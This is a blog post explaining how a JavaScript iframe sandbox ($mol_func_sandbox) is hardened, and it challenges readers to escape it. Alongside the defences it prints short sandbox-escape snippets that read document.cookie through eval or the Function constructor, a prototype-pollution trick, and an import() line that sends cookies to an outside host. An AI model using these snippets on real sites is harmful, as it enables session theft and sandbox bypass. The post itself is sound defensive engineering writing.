DEV Community

Jin
Jin

Posted on • Edited on • Originally published at github.com

$mol_func_sandbox: hack me if you might!

Hello, I'm Jin, and I... want to play a game with you. Its rules are very simple, but breaking them... will lead you to victory. Feel like a hacker getting out of the JavaScript sandbox in order to read cookies, mine bitcoins, make a deface, or something else interesting.


https://sandbox.js.hyoo.ru/

And then I'll tell you how the sandbox works and give you some ideas for hacking.

How it works

The first thing we need to do is hide all the global variables. This is easy to do — just mask them with local variables of the same name:

for( let name in window ) {
    context_default[ name ] = undefined
}
Enter fullscreen mode Exit fullscreen mode

However, many properties (for example, window.constructor) are non-iterable. Therefore, it is necessary to iterate over all the properties of the object:

for( let name of Object.getOwnPropertyNames( window ) ) {
    context_default[ name ] = undefined
}
Enter fullscreen mode Exit fullscreen mode

But Object.getOwnPropertyNames returns only the object's own properties, ignoring everything it inherits from the prototype. So we need to go through the entire chain of prototypes in the same way and collect names of all possible properties of the global object:

function clean( obj : object ) {

    for( let name of Object.getOwnPropertyNames( obj ) ) {
        context_default[ name ] = undefined
    }

    const proto = Object.getPrototypeOf( obj )
    if( proto ) clean( proto )

}
clean( win )
Enter fullscreen mode Exit fullscreen mode

And everything would be fine, but this code falls because, in strict mode, you can not declare a local variable named eval:

'use strict'
var eval // SyntaxError: Unexpected eval or arguments in strict mode
Enter fullscreen mode Exit fullscreen mode

But use it - allowed:

'use strict'
eval('document.cookie') // password=P@zzW0rd
Enter fullscreen mode Exit fullscreen mode

Well, the global eval can simply be deleted:

'use strict'
delete window.eval
eval('document.cookie') // ReferenceError: eval is not defined
Enter fullscreen mode Exit fullscreen mode

And for reliability, it is better to go through all its own properties and remove everything:

for( const key of Object.getOwnPropertyNames( window ) ) delete window[ key ]
Enter fullscreen mode Exit fullscreen mode

Why do we need a strict mode? Because without it, you can use arguments.callee.caller to get any function higher up the stack and do things:

function unsafe(){ console.log( arguments.callee.caller ) }
function safe(){ unsafe() }
safe() // ƒ safe(){ unsafe() }
Enter fullscreen mode Exit fullscreen mode

In addition, in non-strict mode, it is easy to get a global namespace just by taking this when calling a function not as a method:

function get_global() { return this }
get_global() // window
Enter fullscreen mode Exit fullscreen mode

All right, we've masked all the global variables. But their values can still be obtained from the primitives of the language. For example:

var Function = ( ()=>{} ).constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd
Enter fullscreen mode Exit fullscreen mode

What to do? Delete unsafe constructors:

Object.defineProperty( Function.prototype , 'constructor' , { value : undefined } )
Enter fullscreen mode Exit fullscreen mode

This would be enough for some ancient JavaScript, but now we have different types of functions and each option should be secured:

var Function = Function || ( function() {} ).constructor
var AsyncFunction = AsyncFunction || ( async function() {} ).constructor
var GeneratorFunction = GeneratorFunction || ( function*() {} ).constructor
var AsyncGeneratorFunction = AsyncGeneratorFunction || ( async function*() {} ).constructor
Enter fullscreen mode Exit fullscreen mode

Different scripts can run in the same sandbox, and it won't be good if they can affect each other's, so we freeze all objects that are available through the language primitives:

for( const Class of [
    String , Number , BigInt , Boolean , Array , Object , Promise , Symbol , RegExp , 
    Error , RangeError , ReferenceError , SyntaxError , TypeError ,
    Function , AsyncFunction , GeneratorFunction ,
] ) {
    Object.freeze( Class )
    Object.freeze( Class.prototype )
}
Enter fullscreen mode Exit fullscreen mode

OK, we have implemented total fencing, but the price for this is a severe abuse of runtime, which can also break our own application. That is, we need a separate runtime for the sandbox, where you can create any obscenities. There are two ways to get it: via a hidden frame or via a web worker.

Features of the worker:

  • Full memory isolation. It is not possible to break the runtime of the main application from the worker.
  • You can't pass your functions to the worker, which is often necessary. This restriction can be partially circumvented by implementing RPC.
  • The worker can be killed by timeout if the villain writes an infinite loop there.
  • All communication is strictly asynchronous, which is not very fast.

Frame features:

  • You can pass any objects and functions to the frame, but you can accidentally grant access to something that you wouldn't.
  • An infinite loop in the sandbox hangs the entire app.
  • All communication is strictly synchronous.

Implementing RPC for a worker is not tricky, but its limitations are not always acceptable. So let's consider the option with a frame.

If you pass an object to the sandbox from which at least one changeable object is accessible via links, then you can change it from the sandbox and break our app:

numbers.toString = ()=> { throw 'lol' }
Enter fullscreen mode Exit fullscreen mode

But this is still a flower. The transmission in the frame, any function will immediately open wide all doors to a cool-hacker:

var Function = random.constructor
var hack = new Function( 'return document.cookie' )
hack() // password=P@zzW0rd
Enter fullscreen mode Exit fullscreen mode

Well, the proxy is coming to the rescue:

const safe_derived = ( val : any ) : any => {

    const proxy = new Proxy( val , {

        get( val , field : any ) {
            return safe_value( val[field] )
        },

        set() { return false },
        defineProperty() { return false },
        deleteProperty() { return false },
        preventExtensions() { return false },

        apply( val , host , args ) {
            return safe_value( val.call( host , ... args ) )
        },

        construct( val , args ) {
            return safe_value( new val( ... args ) )
        },
    }

    return proxy
})
Enter fullscreen mode Exit fullscreen mode

In other words, we allow accessing properties, calling functions, and constructing objects, but we prohibit all invasive operations. It is tempting to wrap the returned values in such proxies, but then you can follow the links to an object that has a mutating method and use it:

config.__proto__.__defineGetter__( 'toString' , ()=> ()=> 'rofl' )
({}).toString() // rofl
Enter fullscreen mode Exit fullscreen mode

Therefore, all values are forced to run through intermediate serialization in JSON:

const SafeJSON = frame.contentWindow.JSON

const safe_value = ( val : any ) : any => {

    const str = JSON.stringify( val )
    if( !str ) return str

    val = SafeJSON.parse( str )
    return val

}
Enter fullscreen mode Exit fullscreen mode

This way only objects and functions that we passed there explicitly will be available from the sandbox. But sometimes you need to pass some objects implicitly. For them, we will create a whitelist in which we will automatically add all objects that are wrapped in a secure proxy, are neutralized, or come from the sandbox:

const whitelist = new WeakSet

const safe_derived = ( val : any ) : any => {
    const proxy = ...
    whitelist.add( proxy )
    return proxy
}

const safe_value = ( val : any ) : any => {

    if( whitelist.has( val ) ) return val

    const str = JSON.stringify( val )
    if( !str ) return str

    val = SafeJSON.parse( str )
    whitelist.add( val )
    return val
}
Enter fullscreen mode Exit fullscreen mode

And in case the developer inadvertently provides access to some function that allows you to interpret the string as code, we'll also create a blacklist listing what can't be passed to the sandbox under any circumstances:

const blacklist = new Set([
    ( function() {} ).constructor ,
    ( async function() {} ).constructor ,
    ( function*() {} ).constructor ,
    eval ,
    setTimeout ,
    setInterval ,
])
Enter fullscreen mode Exit fullscreen mode

Finally, there is such a nasty thing as import(), which is not a function, but a statement of the language, so you can not just delete it, but it allows you to do things:

import( "https://example.org/" + document.cookie )
Enter fullscreen mode Exit fullscreen mode

We could use the sandbox attribute from the frame to prohibit executing scripts loaded from the left domain:

frame.setAttribute( 'sandbox' , `allow-same-origin` )
Enter fullscreen mode Exit fullscreen mode

But the request to the server will still pass. Therefore, it is better to use a more reliable solution - to stop the event-loop by deleting the frame, after getting all the objects necessary for running scripts from it:

const SafeFunction = frame.contentWindow.Function
const SafeJSON = frame.contentWindow.JSON
frame.parentNode.removeChild( frame )
Enter fullscreen mode Exit fullscreen mode

Accordingly, any asynchronous operations will produce an error, but synchronous operations will continue to work.

As a result, we have a fairly secure sandbox with the following characteristics:

  • You can execute any JS code.
  • The code is executed synchronously and does not require making all functions higher up the stack asynchronous.
  • You can't read data that you haven't granted access to.
  • You can't change the behavior of an application that uses the sandbox.
  • You can't break the functionality of the sandbox itself.
  • You can hang the app in an infinite loop.

But what about infinite loops? They are quite easy to detect. You can prevent this code from being passed at the stage when the attacker enters it. And even if such a code does get through, you can detect it after the fact and delete it automatically or manually.

If you have any ideas on how to improve it, write a telegram.

Links

Top comments (0)